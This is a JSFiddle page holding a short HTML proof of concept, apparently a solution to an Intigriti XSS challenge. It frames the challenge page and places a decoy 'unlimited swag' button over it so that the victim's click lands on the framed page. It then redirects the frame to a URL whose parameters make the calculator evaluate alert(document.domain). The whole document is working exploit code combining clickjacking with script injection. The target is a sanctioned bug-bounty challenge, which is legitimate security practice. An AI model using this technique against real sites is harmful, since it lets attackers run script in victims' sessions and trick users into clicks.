JSFiddle - React, Tailwind, and code Playground

HTML

<!DOCTYPE html>
<html>
<head>
<title>The real Intigriti</title>
<style>
#hit:hover {
z-index:-999;
}
</style>
</head>
<body>
<input id="hit" type=button value="Hit multiply to win unlimited swag" style="left:900px;position:relative;top:1100px;"/>
<iframe id="chal" src="https://challenge-1220.intigriti.io/#?num1=calc&operator=%3d&num2=eval" width=100% height=2000></iframe>
<script>
 setTimeout(function(){
      document.getElementById('chal').contentWindow.location="https://challenge-1220.intigriti.io/#?num1=alert(document.domain)&operator=%3d&num2=eval"; 
     },1000);
</script>
</body>
</html>